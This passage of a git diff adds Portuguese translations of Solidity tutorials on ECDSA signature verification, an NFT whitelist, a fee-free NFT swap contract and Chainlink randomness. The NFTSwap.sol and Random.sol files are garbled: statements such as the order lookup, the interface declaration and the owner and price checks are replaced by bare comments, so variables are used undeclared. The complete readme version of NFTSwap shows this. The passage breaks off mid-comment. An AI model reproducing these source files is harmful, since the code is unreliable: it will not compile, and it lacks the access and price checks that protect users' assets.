{msg.hex()}") +# Construir a mensagem assinada +message = encode_defunct(hexstr=msg.hex()) +# Assinar +signed_message = w3.eth.account.sign_message(message, private_key=private_key) +print(f"Assinatura: {signed_message['signature'].hex()}") +``` + +O resultado da execução é o seguinte. A mensagem calculada, a assinatura e os valores correspondem aos exemplos anteriores. + +``` +Mensagem: 0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c +Assinatura: 0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c +``` + +### Verificação da Assinatura + +Para verificar a assinatura, o verificador precisa ter acesso à `mensagem`, à `assinatura` e à `chave pública` usada para assinar. Podemos verificar a assinatura porque apenas o detentor da `chave privada` pode gerar uma assinatura como essa para uma transação, enquanto outras pessoas não podem. + +**4. Recuperar a chave pública a partir da assinatura e da mensagem**: A `assinatura` é gerada por um algoritmo matemático. Neste caso, estamos usando uma `assinatura rsv`, que contém as informações `r, s, v`. A partir dessas informações e da `mensagem assinada do Ethereum`, podemos recuperar a `chave pública`. A função `recoverSigner()` abaixo implementa essas etapas, usando uma simples montagem inline para obter os valores `r, s, v` da `assinatura`: + +```solidity + // @dev Recupera o endereço do signatário a partir da _msgHash e da _signature + function recoverSigner(bytes32 _msgHash, bytes memory _signature) internal pure returns (address){ + // Verifica o comprimento da assinatura, 65 é o comprimento padrão para assinaturas r, s, v + require(_signature.length == 65, "invalid signature length"); + bytes32 r; + bytes32 s; + uint8 v; + // Atualmente, só é possível usar assembly (montagem inline) para obter os valores r, s, v da assinatura + assembly { + /* + Os primeiros 32 bytes armazenam o comprimento da assinatura (regra de armazenamento de arrays dinâmicos) + add(sig, 32) = ponteiro para sig + 32 + Equivalente a pular os primeiros 32 bytes da assinatura + mload(p) carrega os próximos 32 bytes de dados a partir do endereço de memória p + */ + // Lê os próximos 32 bytes após o comprimento + r := mload(add(_signature, 0x20)) + // Lê os próximos 32 bytes + s := mload(add(_signature, 0x40)) + // Lê o último byte + v := byte(0, mload(add(_signature, 0x60))) + } + // Usa a função ecrecover (função global) para recuperar o endereço do signatário a partir do _msgHash, r, s, v + return ecrecover(_msgHash, v, r, s); + } +``` +Os parâmetros são: +``` +_msgHash: 0xb42ca4636f721c7a331923e764587e98ec577cea1a185f60dfcc14dbb9bd900b +_signature: 0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c +``` +![Recuperar a chave pública a partir da assinatura e da mensagem](./img/37-8.png) + +**5. Comparar a chave pública e verificar a assinatura**: Agora, só precisamos comparar a `chave pública` recuperada com a `chave pública` do signatário `_signer`. Se forem iguais, a assinatura é válida; caso contrário, a assinatura é inválida: + +```solidity + /** + * @dev Verifica se o endereço do signatário está correto usando ECDSA e retorna true se estiver correto + * _msgHash é o hash da mensagem + * _signature é a assinatura + * _signer é o endereço do signatário + */ + function verify(bytes32 _msgHash, bytes memory _signature, address _signer) internal pure returns (bool) { + return recoverSigner(_msgHash, _signature) == _signer; + } +``` +Os parâmetros são: +``` +_msgHash: 0xb42ca4636f721c7a331923e764587e98ec577cea1a185f60dfcc14dbb9bd900b +_signature: 0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c +_signer: 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2 +``` +![Comparar a chave pública e verificar a assinatura](./img/37-9.png) + +## Emitindo uma Lista Branca com Assinatura + +Os projetos de NFT podem usar essa característica do ECDSA para emitir uma lista branca. Como a assinatura é feita fora da cadeia e não requer gás, esse método de emissão de lista branca é mais econômico do que o método de árvore de Merkle. O processo é simples: o projeto usa sua conta para assinar o endereço da lista branca (pode incluir o `tokenId` que o endereço pode criar). Em seguida, ao fazer o `mint`, o projeto verifica se a assinatura é válida usando o ECDSA e, se for, faz o `mint` para o endereço. + +O contrato `SignatureNFT` implementa a emissão de uma lista branca de NFTs usando assinatura. + +### Variáveis de Estado +O contrato possui duas variáveis de estado: +- `signer`: a `chave pública`, o endereço que assina a lista branca. +- `mintedAddress`: um `mapping` que registra os endereços que já receberam `mint`. + +### Funções +O contrato possui quatro funções: +- O construtor inicializa o nome e o símbolo da coleção de NFTs, além do endereço da `chave pública` do ECDSA. +- A função `mint()` recebe o endereço `_account`, o `tokenId` e a `_signature` como parâmetros e verifica se a assinatura é válida: se for, o NFT com o `tokenId` é criado para o endereço `_account` e o endereço é registrado no `mintedAddress`. Ela chama as funções `getMessageHash()`, `ECDSA.toEthSignedMessageHash()` e `verify()`. + +- A função `getMessageHash()` empacota o endereço de mint (`address`) e o `tokenId` (`uint256`) para obter a `mensagem`. + +- A função `verify()` chama a função `verify()` da biblioteca `ECDSA` para realizar a verificação da assinatura ECDSA. + +```solidity +contract SignatureNFT is ERC721 { + address immutable public signer; // Chave pública, endereço que assina a lista branca + mapping(address => bool) public mintedAddress; // Registra os endereços que já receberam mint + + // Construtor, inicializa o nome, símbolo e endereço da chave pública do NFT + constructor(string memory _name, string memory _symbol, address _signer) + ERC721(_name, _symbol) + { + signer = _signer; + } + + // Verifica a assinatura ECDSA e faz o mint + function mint(address _account, uint256 _tokenId, bytes memory _signature) + external + { + bytes32 _msgHash = getMessageHash(_account, _tokenId); // Empacota o _account e _tokenId para obter a mensagem + bytes32 _ethSignedMessageHash = ECDSA.toEthSignedMessageHash(_msgHash); // Calcula a mensagem assinada do Ethereum + require(verify(_ethSignedMessageHash, _signature), "Invalid signature"); // Verificação ECDSA passou + require(!mintedAddress[_account], "Already minted!"); // Endereço não foi mintado antes + _mint(_account, _tokenId); // Mint + mintedAddress[_account] = true; // Registra o endereço como mintado + } + + /* + * Empacota o endereço de mint (tipo address) e o tokenId (tipo uint256) para obter a mensagem msgHash + * _account: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * _tokenId: 0 + * Mensagem correspondente: 0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c + */ + function getMessageHash(address _account, uint256 _tokenId) public pure returns(bytes32){ + return keccak256(abi.encodePacked(_account, _tokenId)); + } + + // Verificação ECDSA, chama a função verify() da biblioteca ECDSA + function verify(bytes32 _msgHash, bytes memory _signature) + public view returns (bool) + { + return ECDSA.verify(_msgHash, _signature, signer); + } +} +``` + +### Verificação no Remix + +- Fora da cadeia, obtenha a `assinatura` usando a assinatura Ethereum para o endereço `_account` e o `tokenId = 0`. Os dados usados estão na seção . + +- Implante o contrato `SignatureNFT`, com os seguintes parâmetros: +``` +_name: WTF Signature +_symbol: WTF +_signer: 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2 +``` + +![Implantação do contrato SignatureNFT](./img/37-5.png) + +- Chame a função `mint()`, verificando a assinatura usando o ECDSA e fazendo o mint. Os parâmetros são: +``` +_account: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 +_tokenId: 0 +_signature: 0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c +``` + +![Chamada da função mint()](./img/37-6.png) + +- Chame a função `ownerOf()`, você verá que o `tokenId = 0` foi mintado com sucesso para o endereço `_account`. O contrato está funcionando corretamente! + +![Alteração do proprietário do tokenId 0, o contrato está funcionando corretamente!](./img/37-7.png) + +## Conclusão + +Nesta aula, apresentamos a assinatura digital `ECDSA` no Ethereum, como criar e verificar assinaturas usando `ECDSA`, o contrato `ECDSA` e como usar a assinatura para emitir uma lista branca de NFTs. A biblioteca `ECDSA` usada é uma versão simplificada da biblioteca de mesmo nome do OpenZeppelin. +- Como a assinatura é feita fora da cadeia e não requer gás, esse método de emissão de lista branca é mais econômico do que o método de árvore de Merkle. +- No entanto, como os usuários precisam solicitar a assinatura por meio de uma interface centralizada, há uma perda parcial de descentralização. +- Uma vantagem adicional é que a lista branca pode ser dinamicamente alterada, em vez de ser pré-definida no contrato, pois a interface centralizada do projeto pode aceitar solicitações de novos endereços e fornecer assinaturas de lista branca. + +. + diff --git a/Languages/pt-br/38_NFTSwap/NFTSwap.sol b/Languages/pt-br/38_NFTSwap/NFTSwap.sol new file mode 100644 index 000000000..cec26d6f7 --- /dev/null +++ b/Languages/pt-br/38_NFTSwap/NFTSwap.sol @@ -0,0 +1,125 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "../34_ERC721/IERC721.sol"; +import "../34_ERC721/IERC721Receiver.sol"; +import "../34_ERC721/WTFApe.sol"; + +contract NFTSwap is IERC721Receiver { + event List( + address indexed seller, + address indexed nftAddr, + uint256 indexed tokenId, + uint256 price + ); + event Purchase( + address indexed buyer, + address indexed nftAddr, + uint256 indexed tokenId, + uint256 price + ); + event Revoke( + address indexed seller, + address indexed nftAddr, + uint256 indexed tokenId + ); + event Update( + address indexed seller, + address indexed nftAddr, + uint256 indexed tokenId, + uint256 newPrice + ); + + // Definindo a estrutura 'order' + struct Order { + address owner; + uint256 price; + } + // Mapeamento de Pedido NFT + mapping(address => mapping(uint256 => Order)) public nftList; + + fallback() external payable {} + + // Venda pendente: O vendedor listou um NFT, com o endereço do contrato _nftAddr, tokenId _tokenId e preço _price em Ethereum (unidade wei). + function list(address _nftAddr, uint256 _tokenId, uint256 _price) public { + // Declaring variable for IERC721 interface contract + // Contrato autorizado + // Preço maior que 0 + + //Definir o detentor e o preço do NF + _order.owner = msg.sender; + _order.price = _price; + // Transferir NFT para um contrato. + _nft.safeTransferFrom(msg.sender, address(this), _tokenId); + + // Liberar evento de List + emit List(msg.sender, _nftAddr, _tokenId, _price); + } + + // Compra: O comprador adquire um NFT, com contrato _nftAddr e tokenId _tokenId, ao chamar a função, é necessário fornecer ETH. + function purchase(address _nftAddr, uint256 _tokenId) public payable { + // Obter Pedido + // O preço do NFT é maior que 0 + // O preço de compra é maior do que o preço de etiqueta + // Declaring variable for IERC721 interface contract + IERC721 _nft = IERC721(_nftAddr); + // NFT está presente no contrato. + + // Transferir o NFT para o comprador + _nft.safeTransferFrom(address(this), msg.sender, _tokenId); + // Transferir ETH para o vendedor e reembolsar o comprador com o ETH excedente + payable(_order.owner).transfer(_order.price); + payable(msg.sender).transfer(msg.value - _order.price); + + // Remover pedido + + // Liberar evento de compra + emit Purchase(msg.sender, _nftAddr, _tokenId, _order.price); + } + + // Cancelar pedido: O vendedor cancela a ordem. + function revoke(address _nftAddr, uint256 _tokenId) public { + // Obter Pedido + // Deve ser iniciado pelo titular + // Declaring variable for IERC721 interface contract + IERC721 _nft = IERC721(_nftAddr); + // NFT está presente no contrato. + + // Transferir o NFT para o vendedor. + _nft.safeTransferFrom(address(this), msg.sender, _tokenId); + // Remover pedido + + // Liberar o evento Revoke + emit Revoke(msg.sender, _nftAddr, _tokenId); + } + + // Ajuste de preço: o vendedor ajusta o preço do pedido pendente + function update( + address _nftAddr, + uint256 _tokenId, + uint256 _newPrice + ) public { + // O preço do NFT é maior que 0 + // Obter Pedido + // Deve ser iniciado pelo titular + // Declaring variable for IERC721 interface contract + IERC721 _nft = IERC721(_nftAddr); + // NFT está presente no contrato. + + // Ajustar o preço do NFT + _order.price = _newPrice; + + // Liberar evento de atualização + emit Update(msg.sender, _nftAddr, _tokenId, _newPrice); + } + + // Implemente o onERC721Received do {IERC721Receiver} para receber tokens ERC721 + function onERC721Received( + address operator, + address from, + uint tokenId, + bytes calldata data + ) external override returns (bytes4) { + return IERC721Receiver.onERC721Received.selector; + } +} diff --git a/Languages/pt-br/38_NFTSwap/img/38-1.png b/Languages/pt-br/38_NFTSwap/img/38-1.png new file mode 100644 index 000000000..7c659a43e Binary files /dev/null and b/Languages/pt-br/38_NFTSwap/img/38-1.png differ diff --git a/Languages/pt-br/38_NFTSwap/img/38-10.png b/Languages/pt-br/38_NFTSwap/img/38-10.png new file mode 100644 index 000000000..5ae9194c8 Binary files /dev/null and b/Languages/pt-br/38_NFTSwap/img/38-10.png differ diff --git a/Languages/pt-br/38_NFTSwap/img/38-11.png b/Languages/pt-br/38_NFTSwap/img/38-11.png new file mode 100644 index 000000000..9c9a8e3af Binary files /dev/null and b/Languages/pt-br/38_NFTSwap/img/38-11.png differ diff --git a/Languages/pt-br/38_NFTSwap/img/38-12.png b/Languages/pt-br/38_NFTSwap/img/38-12.png new file mode 100644 index 000000000..356664c10 Binary files /dev/null and b/Languages/pt-br/38_NFTSwap/img/38-12.png differ diff --git a/Languages/pt-br/38_NFTSwap/img/38-2.png b/Languages/pt-br/38_NFTSwap/img/38-2.png new file mode 100644 index 000000000..50525725c Binary files /dev/null and b/Languages/pt-br/38_NFTSwap/img/38-2.png differ diff --git a/Languages/pt-br/38_NFTSwap/img/38-3.png b/Languages/pt-br/38_NFTSwap/img/38-3.png new file mode 100644 index 000000000..6b0485d43 Binary files /dev/null and b/Languages/pt-br/38_NFTSwap/img/38-3.png differ diff --git a/Languages/pt-br/38_NFTSwap/img/38-4.png b/Languages/pt-br/38_NFTSwap/img/38-4.png new file mode 100644 index 000000000..ba8456089 Binary files /dev/null and b/Languages/pt-br/38_NFTSwap/img/38-4.png differ diff --git a/Languages/pt-br/38_NFTSwap/img/38-5.png b/Languages/pt-br/38_NFTSwap/img/38-5.png new file mode 100644 index 000000000..a1bb175a8 Binary files /dev/null and b/Languages/pt-br/38_NFTSwap/img/38-5.png differ diff --git a/Languages/pt-br/38_NFTSwap/img/38-6.png b/Languages/pt-br/38_NFTSwap/img/38-6.png new file mode 100644 index 000000000..dbe44ee99 Binary files /dev/null and b/Languages/pt-br/38_NFTSwap/img/38-6.png differ diff --git a/Languages/pt-br/38_NFTSwap/img/38-7.png b/Languages/pt-br/38_NFTSwap/img/38-7.png new file mode 100644 index 000000000..4517a7b52 Binary files /dev/null and b/Languages/pt-br/38_NFTSwap/img/38-7.png differ diff --git a/Languages/pt-br/38_NFTSwap/img/38-8.png b/Languages/pt-br/38_NFTSwap/img/38-8.png new file mode 100644 index 000000000..62ddc6c14 Binary files /dev/null and b/Languages/pt-br/38_NFTSwap/img/38-8.png differ diff --git a/Languages/pt-br/38_NFTSwap/img/38-9.png b/Languages/pt-br/38_NFTSwap/img/38-9.png new file mode 100644 index 000000000..ba7b7958a Binary files /dev/null and b/Languages/pt-br/38_NFTSwap/img/38-9.png differ diff --git a/Languages/pt-br/38_NFTSwap/readme.md b/Languages/pt-br/38_NFTSwap/readme.md new file mode 100644 index 000000000..c975cf25f --- /dev/null +++ b/Languages/pt-br/38_NFTSwap/readme.md @@ -0,0 +1,270 @@ +# 38. Exchange de NFT + +Eu recentemente comecei a estudar Solidity novamente, revisando os detalhes, e estou escrevendo um "Guia Simples de Solidity" para iniciantes (programadores avançados podem procurar outros tutoriais), com atualizações semanais de 1-3 palestras. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Discord: [WTF Academy](https://discord.gg/5akcruXrsk) + +Todo o código e tutoriais são de código aberto no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +`Opensea` é a maior plataforma de negociação de NFTs na Ethereum, com um volume total de negociação de mais de $30 bilhões. O `Opensea` cobra uma taxa de 2.5% em cada transação, o que significa que eles lucraram pelo menos $750 milhões com as transações dos usuários. Além disso, sua operação não é descentralizada e eles não estão planejando lançar uma moeda para compensar os usuários. Os jogadores de NFT estão insatisfeitos com o `Opensea` há muito tempo, e hoje vamos usar contratos inteligentes para construir uma exchange descentralizada de NFTs sem taxas: `NFTSwap`. + +## Lógica de Design + +- Vendedor: a parte que vende o NFT, pode listar `list`, cancelar a listagem `revoke`, e alterar o preço `update`. +- Comprador: a parte que compra o NFT, pode comprar `purchase`. +- Pedido: uma ordem de NFT publicada pelo vendedor, uma série de tokens com o mesmo `tokenId` pode ter no máximo um pedido, contendo o preço de listagem `price` e as informações do proprietário `owner`. Quando uma ordem é concluída ou cancelada, as informações são zeradas. + +## Contrato `NFTSwap` + +### Eventos +O contrato inclui 4 eventos, correspondentes à listagem `list`, à revogação `revoke`, à alteração de preço `update` e à compra `purchase` desses quatro comportamentos: +```solidity + event List(address indexed seller, address indexed nftAddr, uint256 indexed tokenId, uint256 price); + event Purchase(address indexed buyer, address indexed nftAddr, uint256 indexed tokenId, uint256 price); + event Revoke(address indexed seller, address indexed nftAddr, uint256 indexed tokenId); + event Update(address indexed seller, address indexed nftAddr, uint256 indexed tokenId, uint256 newPrice); +``` + +### Pedido +A ordem de NFT é abstraída como uma estrutura `Order`, contendo o preço de listagem `price` e as informações do proprietário `owner`. O mapeamento `nftList` registra a ordem correspondente ao contrato NFT e as informações do `tokenId`. +```solidity + // Definição da estrutura da ordem + struct Order{ + address owner; + uint256 price; + } + // Mapeamento da Ordem de NFT + mapping(address => mapping(uint256 => Order)) public nftList; +``` + +### Função de fallback +No `NFTSwap`, os usuários usam `ETH` para comprar o NFT. Portanto, o contrato precisa implementar a função `fallback()` para receber `ETH`. +```solidity + fallback() external payable{} +``` + +### onERC721Received +A função de transferência segura `ERC721` verifica se o contrato receptor implementou a função `onERC721Received()` e retorna o seletor correto. Após o usuário fazer um pedido, o NFT precisa ser enviado para o contrato `NFTSwap`. Portanto, o `NFTSwap` herda a interface `IERC721Receiver` e implementa a função `onERC721Received()`: +```solidity +contract NFTSwap is IERC721Receiver{ + + // Implementa a função onERC721Received do IERC721Receiver para poder receber tokens ERC721 + function onERC721Received( + address operator, + address from, + uint tokenId, + bytes calldata data + ) external override returns (bytes4){ + return IERC721Receiver.onERC721Received.selector; + } +``` + +### Transações +O contrato implementa 4 funções relacionadas a transações: + +- Listagem `list()`: o vendedor cria o NFT e faz a ordem, acionando o evento `List`. Os parâmetros são o endereço do contrato NFT `_nftAddr`, o `tokenId` correspondente do NFT `_tokenId` e o preço de listagem `_price` (**nota: a unidade é `wei`**). Após o sucesso, o NFT é transferido do vendedor para o contrato `NFTSwap`. +```solidity + // Listagem: o vendedor lista o NFT para venda, o endereço do contrato é _nftAddr, o tokenId é _tokenId, o preço é em ethers (unidade em wei) + function list(address _nftAddr, uint256 _tokenId, uint256 _price) public{ + IERC721 _nft = IERC721(_nftAddr); // Declara a variável da interface do contrato IERC721 + require(_nft.getApproved(_tokenId) == address(this), "Necessita de Aprovação"); // O contrato precisa de autorização + require(_price > 0); // Preço maior que 0 + + Order storage _order = nftList[_nftAddr][_tokenId]; // Define o proprietário e o preço do NFT + _order.owner = msg.sender; + _order.price = _price; + // Transfere o NFT para o contrato + _nft.safeTransferFrom(msg.sender, address(this), _tokenId); + + // Aciona o evento List + emit List(msg.sender, _nftAddr, _tokenId, _price); + } +``` + +- Revogação `revoke()`: o vendedor retira a listagem e aciona o evento `Revoke`. Os parâmetros são o endereço do contrato NFT `_nftAddr` e o `tokenId` correspondente do NFT `_tokenId`. Após o sucesso, o NFT é transferido de volta para o vendedor. +```solidity + // Revogação: o vendedor retira a listagem + function revoke(address _nftAddr, uint256 _tokenId) public { + Order storage _order = nftList[_nftAddr][_tokenId]; // Obter a ordem + require(_order.owner == msg.sender, "Não é o Dono"); // Apenas o proprietário pode fazer isso + // Declara a variável da interface do contrato IERC721 + IERC721 _nft = IERC721(_nftAddr); + require(_nft.ownerOf(_tokenId) == address(this), "Pedido Inválido"); // O NFT está no contrato + + // Transfere o NFT de volta para o vendedor + _nft.safeTransferFrom(address(this), msg.sender, _tokenId); + delete nftList[_nftAddr][_tokenId]; // Exclui a ordem + + // Aciona o evento Revogar + emit Revoke(msg.sender, _nftAddr, _tokenId); + } +``` + +- Atualização de preço `update()`: o vendedor altera o preço da ordem do NFT e aciona o evento `Update`. Os parâmetros são o endereço do contrato NFT `_nftAddr`, o `tokenId` correspondente do NFT `_tokenId` e o novo preço de listagem `_newPrice` (**nota: a unidade é `wei`**). +```solidity + // Atualizar preço: o vendedor atualiza o preço da ordem do NFT + function update(address _nftAddr, uint256 _tokenId, uint256 _newPrice) public { + require(_newPrice > 0, "Preço Inválido"); // Preço do NFT maior que 0 + Order storage _order = nftList[_nftAddr][_tokenId]; // Obter a ordem + require(_order.owner == msg.sender, "Não é o Dono"); // Apenas o proprietário pode fazer isso + // Declara a variável da interface do contrato IERC721 + IERC721 _nft = IERC721(_nftAddr); + require(_nft.ownerOf(_tokenId) == address(this), "Pedido Inválido"); // O NFT está no contrato + + // Atualiza o preço do NFT + _order.price = _newPrice; + + // Aciona o evento Atualizar + emit Update(msg.sender, _nftAddr, _tokenId, _newPrice); + } +``` + +- Compra `purchase`: o comprador paga com `ETH` para comprar o NFT listado e aciona o evento `Purchase`. Os parâmetros são o endereço do contrato NFT `_nftAddr`, o `tokenId` correspondente do NFT `_tokenId`. Após o sucesso, o valor pago em `ETH` é transferido para o vendedor e o NFT é transferido do contrato `NFTSwap` para o comprador. +```solidity + // Compra: o comprador compra o NFT, fornecendo o endereço do contrato _nftAddr, tokenId _tokenId, e acompanhado por ETH + function purchase(address _nftAddr, uint256 _tokenId) payable public { + Order storage _order = nftList[_nftAddr][_tokenId]; // Obter a ordem + require(_order.price > 0, "Preço Inválido"); // Preço do NFT maior que 0 + require(msg.value >= _order.price, "Aumente o preço"); // Preço de compra maior que o preço de listagem + // Declara a variável da interface do contrato IERC721 + IERC721 _nft = IERC721(_nftAddr); + require(_nft.ownerOf(_tokenId) == address(this), "Pedido Inválido"); // O NFT está no contrato + + // Transfere o NFT para o comprador + _nft.safeTransferFrom(address(this), msg.sender, _tokenId); + // Transfere o valor para o vendedor, e, se houver excesso, devolve o restante para o comprador + payable(_order.owner).transfer(_order.price); + payable(msg.sender).transfer(msg.value-_order.price); + + delete nftList[_nftAddr][_tokenId]; // Exclui a ordem + + // Aciona o evento Compra + emit Purchase(msg.sender, _nftAddr, _tokenId, _order.price); + } +``` + +## Implementação no Remi + +### 1. Deploy do contrato NFT +Siga o tutorial [ERC721](../34_ERC721) para entender sobre NFTs e faça o deploy do contrato NFT `WTFApe`. + +![Deploy do contrato NFT](./img/38-1.png) + +Mint o primeiro NFT para si mesmo, aqui estamos mintando os primeiros e segundos NFTs, com os `tokenId` sendo respectivamente `0` e `1`. + +![Mint do NFT](./img/38-2.png) + +No contrato `WTFApe`, confirme que agora você é o dono do NFT com `tokenId` igual a `0`. + +![Confirmação de propriedade do NFT](./img/38-3.png) + +Siga os passos acima para mintar os NFTs com `tokenId` igual a `0` e `1`. + +### 2. Deploy do contrato `NFTSwap` +Faça o deploy do contrato `NFTSwap`. + +![Deploy do contrato `NFTSwap`](./img/38-4.png) + +### 3. Autorize o `NFT` a ser listado no `NFTSwap` +No contrato `WTFApe`, chame a função `approve()` para autorizar o `tokenId` do primeiro NFT a ser listado no contrato `NFTSwap`. + +`approve(address to, uint tokenId)` tem 2 parâmetros: + +`to`: o `tokenId` autorizado a ser listado para o endereço `to`, que neste caso é o endereço do contrato `NFTSwap`. + +`tokenId`: o `tokenId` do NFT, neste caso o `tokenId` é `0`. + +![Autorização do NFT](./img/38-5.png) + +Repita o processo para autorizar o `tokenId` igual a `1` para o contrato `NFTSwap`. + +### 4. Listagem do `NFT` +Chame a função `list()` do contrato `NFTSwap` para listar o NFT com `tokenId` igual a `0` no contrato `NFTSwap`, com o preço de `1` `wei`. + +`list(address _nftAddr, uint256 _tokenId, uint256 _price)` tem 3 parâmetros: + +`_nftAddr`: o endereço do contrato NFT, neste caso o endereço do contrato `WTFApe`. + +`_tokenId`: o `tokenId` do NFT, neste caso o `tokenId` é `0`. + +`_price`: o preço do NFT, `1` `wei` neste caso. + +![Listagem do NFT](./img/38-6.png) + +Repita o processo para listar o NFT com `tokenId` igual a `1` no contrato `NFTSwap`, com o preço de `1` `wei`. + +### 5. Verificar NFT listados + +Chame a função `nftList()` no contrato `NFTSwap` para verificar os NFTs listados. + +`nftList`: é um mapeamento de ordens de NFT, com a estrutura: + +`nftList[_nftAddr][_tokenId]`: dando o `_nftAddr` e `_tokenId`, você obtém uma ordem de NFT. + +![Verificação de NFT listados](./img/38-7.png) + +### 6. Atualizar o preço do `NFT` + +Chame a função `update()` do contrato `NFTSwap` para atualizar o preço do NFT com `tokenId` igual a `0` para `77` `wei`. + +`update(address _nftAddr, uint256 _tokenId, uint256 _newPrice)` tem 3 parâmetros: + +`_nftAddr`: o endereço do contrato NFT, neste caso o endereço do contrato `WTFApe`. + +`_tokenId`: o `tokenId` do NFT, neste caso o `tokenId` é `0`. + +`_newPrice`: o novo preço do NFT, `77` `wei` neste caso. + +Após a atualização, verifique o preço atualizado chamando a função `nftList`. + +![Atualização do preço do NFT](./img/38-8.png) + +### 7. Deslistar o `NFT` + +Chame a função `revoke()` do contrato `NFTSwap` para deslistar o NFT. + +No processo anterior, listamos dois NFTs com `tokenId` igual a `0` e `1`. Desta vez, vamos deslistar o NFT com `tokenId` igual a `1`. + +`revoke(address _nftAddr, uint256 _tokenId)` tem 2 parâmetros: + +`_nftAddr`: o endereço do contrato NFT, neste caso o endereço do contrato `WTFApe`. + +`_tokenId`: o `tokenId` do NFT, neste caso o `tokenId` é `1`. + +![Deslistagem do NFT](./img/38-9.png) + +Após chamar a função `revoke()`, verifique se o NFT foi deslistado chamando a função `nftList`. Para listá-lo novamente será necessário repetir os passos de autorização e listagem. + +![Verificação do NFT deslistado](./img/38-10.png) + +**Nota: Após deslistar um NFT, você precisará autorizar e listar novamente para realizar a compra.** + +### 8. Comprar o `NFT` + +Troque de conta, e chame a função `purchase()` do contrato `NFTSwap` para comprar o NFT, fornecendo o endereço do contrato NFT, o `tokenId` e o valor de `ETH` a ser pago. + +Deslistamos o NFT com `tokenId` igual a `1` anteriormente, agora vamos comprar o NFT com `tokenId` igual a `0`. + +`purchase(address _nftAddr, uint256 _tokenId, uint256 _wei)` tem 3 parâmetros: + +`_nftAddr`: o endereço do contrato NFT, neste caso o endereço do contrato `WTFApe`. + +`_tokenId`: o `tokenId` do NFT, neste caso o `tokenId` é `0`. + +`_wei`: a quantidade de `ETH` a ser paga, `77` `wei` neste caso. + +![Compra do NFT](./img/38-11.png) + +### 9. Verificar mudança do proprietário do `NFT` + +Após a compra bem-sucedida, chame a função `ownerOf()` do contrato `WTFApe` para verificar a mudança do proprietário do NFT. Compra bem-sucedida! + +![Verificação da mudança do proprietário do NFT](./img/38-12.png) + +## Conclusão +Nesta palestra, construímos uma exchange descentralizada de NFTs sem taxas. O `Opensea` contribuiu muito para o desenvolvimento dos NFTs, mas suas desvantagens são evidentes: altas taxas, falta de recompensas em token para os usuários e um sistema de negociação suscetível a fraudes que podem resultar na perda de ativos dos usuários. Atualmente, novas plataformas de negociação de NFTs como `Looksrare` e `dydx` estão desafiando a posição do `Opensea`, e até o `Uniswap` está estudando novas exchanges de NFT. Acredito que em breve teremos acesso a exchanges de NFTs ainda melhores. + diff --git a/Languages/pt-br/39_Random/Random.sol b/Languages/pt-br/39_Random/Random.sol new file mode 100644 index 000000000..69fef1cf2 --- /dev/null +++ b/Languages/pt-br/39_Random/Random.sol @@ -0,0 +1,109 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +//github.com/AmazingAng/WTFSolidity/blob/main/34_ERC721/ERC721.sol"; +import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol"; +import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol"; + +contract Random is ERC721, VRFConsumerBaseV2{ + // NFT relacionado + // Oferta total + // Usado para calcular o tokenId disponível para mintar + // Quantidade já mintada + + // Parâmetros do Chainlink VRF + + //VRFCoordinatorV2Interface + VRFCoordinatorV2Interface COORDINATOR; + + /** + * Usando o Chainlink VRF, o construtor precisa herdar de VRFConsumerBaseV2 + * Os parâmetros da cadeia são diferentes + * Rede: Sepolia Testnet + * Endereço do Chainlink VRF Coordinator: 0x8103B0A8A00be2DDC778e6e7eaa21791Cd364625 + * Endereço do token LINK: 0x01BE23585060835E02B77ef475b0Cc51aA1e0709 + * 30 gwei Key Hash: 0x474e34a077df58807dbe9c96d3c009b23b3c6d0cce433e59bbf5b34f823bc56c + * Confirmações mínimas: 3 (um número maior aumenta a segurança, geralmente preencha com 12) + * Limite de gás para callback: máximo de 2.500.000 + * Valores aleatórios máximos: até 500 por vez + */ + address vrfCoordinator = 0x8103B0A8A00be2DDC778e6e7eaa21791Cd364625; + bytes32 keyHash = 0x474e34a077df58807dbe9c96d3c009b23b3c6d0cce433e59bbf5b34f823bc56c; + uint16 requestConfirmations = 3; + uint32 callbackGasLimit = 1_000_000; + uint32 numWords = 1; + uint64 subId; + uint256 public requestId; + + // Registre o endereço mint correspondente à identificação da solicitação VRF. + mapping(uint256 => address) public requestToSender; + + constructor(uint64 s_subId) + VRFConsumerBaseV2(vrfCoordinator) + ERC721("WTF Random", "WTF"){ + COORDINATOR = VRFCoordinatorV2Interface(vrfCoordinator); + subId = s_subId; + } + + /** + * Insira um número uint256 e receba um tokenId que pode ser mintado + */ + function pickRandomUniqueId(uint256 random) private returns (uint256 tokenId) { + // Primeiro, faça a subtração e depois calcule o incremento. Preste atenção na diferença entre (a++, ++a). + // Quantidade mintável + // Todos os tokenId foram mintados completamente. + // Obter um número aleatório na cadeia + + //Gerando um número aleatório e obtendo o tokenId através do módulo, que será usado como índice do array. Ao mesmo tempo, o valor é registrado como len-1. Se o valor obtido pelo módulo já existir, o tokenId será obtido do valor do índice do array. + // Obter tokenId + // Atualizar lista de ids + // Remover o último elemento e retornar o gas + } + + /** + * Geração de números pseudoaleatórios na cadeia + * Preencha keccak256(abi.encodePacked() com algumas variáveis globais/variáveis personalizadas na cadeia + * Converta para o tipo uint256 ao retornar + */ + function getRandomOnchain() public view returns(uint256){ + /* + * Neste exemplo, a 